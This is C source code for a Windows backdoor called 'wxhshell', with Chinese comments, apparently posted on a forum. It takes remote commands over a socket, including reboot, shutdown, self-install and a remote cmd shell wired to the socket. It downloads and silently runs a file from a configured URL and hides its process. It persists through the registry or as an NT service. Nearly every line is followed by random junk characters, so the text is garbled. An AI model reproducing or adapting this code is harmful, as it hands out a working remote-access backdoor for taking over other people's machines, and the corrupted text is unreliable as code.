    switch(cmd[0]) { wQl ,  
  C\3rJy(VJ  
  // 帮助 <18(  
  case '?': { caR<Kb:;*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H\"sgoJ  
    break; ^rR1ZVY  
  } ,Q$ q=E;X  
  // 安装 ;vR4XHl|  
  case 'i': { .&iawz  
    if(Install()) \##zR_%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IZ-1c1   
    else BQHVQs   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m,_Z6=I:  
    break; nIf1sH>  
    } gnf8 l?M  
  // 卸载 F@jZ ho  
  case 'r': { bjW]bRw  
    if(Uninstall()) y3Qsv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hp50J  
    else ea2ayT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u(.e8~s8  
    break; @Sn(lnlB  
    } %g$o/A$  
  // 显示 wxhshell 所在路径 ] )\Pqn(  
  case 'p': { a 7 V-C  
    char svExeFile[MAX_PATH]; wh`"w7br  
    strcpy(svExeFile,"\n\r"); T@B/xAq5!  
      strcat(svExeFile,ExeFile); OX0%C.K)hZ  
        send(wsh,svExeFile,strlen(svExeFile),0); vzAaxk%  
    break; E?f-wQF  
    } 9!\B6=r y4  
  // 重启 <?.&^|kS  
  case 'b': { [#vH'y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VQt0  4?  
    if(Boot(REBOOT)) a(X@Q8l:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ',@3>T**  
    else { e\l7Iu  
    closesocket(wsh); !sP {gi#=  
    ExitThread(0); Wq&if_  
    } `wEb<H  
    break; S!CC }3zw  
    } zrgk]n;Pq  
  // 关机 e{K 215  
  case 'd': { xwq (N_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `5.'_3  
    if(Boot(SHUTDOWN)) `i*E~'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '@KEi%-^>  
    else { %)W2H^  
    closesocket(wsh); '[:D$q;  
    ExitThread(0); n5NsmVW\x  
    } E7UU  
    break; - %h.t+=U  
    } j{A y\n(  
  // 获取shell VA_PvL.9  
  case 's': { .@U@xRu7|  
    CmdShell(wsh); _7 L-<  
    closesocket(wsh); E6ElNgL  
    ExitThread(0); mR:uj2*  
    break; Hg izW  
  } WX?IYQ+  
  // 退出 f}f9@>.  
  case 'x': { #OD/$f_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?P`K7  
    CloseIt(wsh); a~}OZ&PG  
    break; E,U+o $  
    } h(_57O:  
  // 离开 d.d/<  
  case 'q': { q dBrQC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WiR(;m<g  
    closesocket(wsh); aP+X}r  
    WSACleanup(); W+?4jwqw  
    exit(1); b9HtR-iR;  
    break; E KLyma&}Y  
        } f+,qNvBY/  
  } EgCAsSx(  
  } <)c)%'v  
|N7M^  
  // 提示信息 /]Md~=yNp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &.Qrs :U  
} Yu^4VXp~M%  
  } MaQqs=  
*H2r@)Y[~  
  return; {qJ1ko)$  
} ag[wdoj  
joAv{Tc  
// shell模块句柄 '$(^W@M#6  
int CmdShell(SOCKET sock) :bq8N@P/  
{ s)D;a-F  
STARTUPINFO si; $ >eCqC3  
ZeroMemory(&si,sizeof(si)); c]o'xd,T8\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <^jQo<kU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 08\, <9  
PROCESS_INFORMATION ProcessInfo; vw/J8'  
char cmdline[]="cmd"; )' cMYC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $Sip$\+*  
  return 0; Z0", !6nS  
}  DA,?}  
8dIgjQX|  
// 自身启动模式 -- 95Jz  
int StartFromService(void) z,p~z*4  
{ G<J?"oQbRT  
typedef struct p]+Pkxz]'  
{ J<h $ wM  
  DWORD ExitStatus; E4/Dr}4  
  DWORD PebBaseAddress; Ioa$51&  
  DWORD AffinityMask; 3,qr-g|;jM  
  DWORD BasePriority; 0=1T.4+=  
  ULONG UniqueProcessId; B%6)}Nl[  
  ULONG InheritedFromUniqueProcessId; iz PDd{[  
}   PROCESS_BASIC_INFORMATION; Y]2A&0  
N<VJ(20y  
PROCNTQSIP NtQueryInformationProcess; ?NsW|w_  
})Vi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xY(*.T9K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f46t9dxp$  
+\ .Lp 5  
  HANDLE             hProcess; hnhd{$2Z  
  PROCESS_BASIC_INFORMATION pbi; 9qzHS~l  
y_-0tI\J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \Uq(Zga4)  
  if(NULL == hInst ) return 0; &}B|"s[  
[waIi3Dv\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "@0]G<H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m&&m,6``P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); . 3T3E X|G  
hhc,uJ">!  
  if (!NtQueryInformationProcess) return 0; VuZuS6~#J  
;iL#7NG-R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W.KDVE$}f  
  if(!hProcess) return 0; 8'io$ 6d=  
TKmf+ZT*r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "J_9WUN  
R!gEwTk  
  CloseHandle(hProcess); {B*s{{[/'  
y _k l:Ssa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $DaNbLV  
if(hProcess==NULL) return 0; J}K$(;:  
cIOlhX@  
HMODULE hMod; |t#)~Oo  
char procName[255]; (gWm,fI RZ  
unsigned long cbNeeded; VTY 5]|;  
bP&]!jZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =MDys b&:  
d|Lj~x|  
  CloseHandle(hProcess); {fT6O&br  
;+ hH  
if(strstr(procName,"services")) return 1; // 以服务启动 e8?jmN`2  
H8}oIA"b  
  return 0; // 注册表启动 7?w*]  
} ')<hON44EX  
PIS2Ed]  
// 主模块 K_Eux rPn  
int StartWxhshell(LPSTR lpCmdLine) *#+An<iT ;  
{ &Hs!:43E-<  
  SOCKET wsl; Yufc{M00  
BOOL val=TRUE; ^>v+( z5R  
  int port=0; wgGl[_)  
  struct sockaddr_in door; ":QZy8f9%  
TJXT-\Vk  
  if(wscfg.ws_autoins) Install(); &E5g3lf  
7a<DKB  
port=atoi(lpCmdLine); ZyFjFHe+  
@*KZ}i@._  
if(port<=0) port=wscfg.ws_port; R%[ c;i  
s&3Vg7B  
  WSADATA data; suDQ~\ n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; di )L[<$DY  
'YSHi\z ](  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y9XEP7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1\I}2;  
  door.sin_family = AF_INET; AFE~ v\Gz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hZt!/?dc  
  door.sin_port = htons(port); V1B5w_^>h'  
<x>M o   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sdw(R#GE  
closesocket(wsl); 9V*qQS5<p  
return 1; m^;f(IK5  
} "oO%`:pb  
3AN/ H  
  if(listen(wsl,2) == INVALID_SOCKET) { M[,@{u/  
closesocket(wsl); -m~#Bq  
return 1; 'E""amIJ  
} ge8ZsaiU  
  Wxhshell(wsl); uJ v-4H  
  WSACleanup(); w NdisI  
4^|3TntO  
return 0; "@2-Zdrr1<  
*u;Iw{.{  
} oW6XF-yM  
\LexR.Di  
// 以NT服务方式启动 dDLeSz$b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q*~]h;6\{d  
{ C!bUI8x z  
DWORD   status = 0; 1/J=uH  
  DWORD   specificError = 0xfffffff; t;\Y{`  
}:)&u|d_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &0JI!bR(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ['iPl/v0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Oxd]y1  
  serviceStatus.dwWin32ExitCode     = 0; X45%e!  
  serviceStatus.dwServiceSpecificExitCode = 0; aAUvlb  
  serviceStatus.dwCheckPoint       = 0; +@wD qc  
  serviceStatus.dwWaitHint       = 0; H"WprHe  
8 v%o,"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6(ol1 (U  
  if (hServiceStatusHandle==0) return; l2Rb\4  
z-)O9PV  
status = GetLastError(); 1yu4emye4  
  if (status!=NO_ERROR) g]0_5?i  
{ 3)ywX&4"L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $-sHWYZ  
    serviceStatus.dwCheckPoint       = 0; Uz]|N6`  
    serviceStatus.dwWaitHint       = 0; H9e<v4 c  
    serviceStatus.dwWin32ExitCode     = status; {R6ZKB  
    serviceStatus.dwServiceSpecificExitCode = specificError; f%}xO+.s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +52{-a,>  
    return; 0n{=%Q  
  } P/_['7  
E r?&Y,o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gRcQt:  
  serviceStatus.dwCheckPoint       = 0; pYf-S?Y/V  
  serviceStatus.dwWaitHint       = 0; b OY |H~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h@ry y\9  
} EXqE~afm2  
3(80:@|  
// 处理NT服务事件,比如:启动、停止 )l DD\J7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u]UOSfn  
{ 7-fb.V9  
switch(fdwControl) &{t,'[ u  
{ 13x p_j  
case SERVICE_CONTROL_STOP: >fQMXfoY  
  serviceStatus.dwWin32ExitCode = 0; h <<v^+m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C$`tbq  
  serviceStatus.dwCheckPoint   = 0; ' S/gmn  
  serviceStatus.dwWaitHint     = 0; R0*|Lo$6  
  { 6.yu-xm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d8P^lv*rQW  
  } 4^o^F-k'  
  return; 6(-N FnT  
case SERVICE_CONTROL_PAUSE: + v:SM 9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >i?oC^QM  
  break; FfT`;j  
case SERVICE_CONTROL_CONTINUE: (TT}6j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ml-6OvQ7g  
  break; c@L< Z`u  
case SERVICE_CONTROL_INTERROGATE:  a0)QH  
  break; DkDmE  
}; q'Pf]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )zDCu`  
} }i&/ G +_  
NC6&x=!3  
// 标准应用程序主函数 U8$27jq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mj7#&r,1l  
{ $VOF Oc  
\1M4Dl5!  
// 获取操作系统版本 'PW5ux@`<  
OsIsNt=GetOsVer(); `C'H.g\>2Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U- k`s[dv  
F#5~M<`.o  
  // 从命令行安装 &s>Jb?_5Mx  
  if(strpbrk(lpCmdLine,"iI")) Install(); M x" \5i  
2&J)dtqz  
  // 下载执行文件 `r 4fm`<  
if(wscfg.ws_downexe) { XfIJ4ZM5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7D_=  
  WinExec(wscfg.ws_filenam,SW_HIDE); m+z& Q  
} s_p!43\J  
S~G ]~gt  
if(!OsIsNt) { -"9  
// 如果时win9x,隐藏进程并且设置为注册表启动  &q*Aj17  
HideProc(); QIFgQ0{  
StartWxhshell(lpCmdLine); R`-S/C  
} <qt|d&  
else t4-[Z$ n5  
  if(StartFromService()) !C.4<?*|  
  // 以服务方式启动 T6$+hUM$1  
  StartServiceCtrlDispatcher(DispatchTable); * kh tJ]=  
else v4 E}D  
  // 普通方式启动 9H1rO8k  
  StartWxhshell(lpCmdLine); 0#gK6o!  
2y1Sne=<Kb  
return 0; SUK?z!f <i  
}
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只看该作者 1 发表于: 2006-10-10
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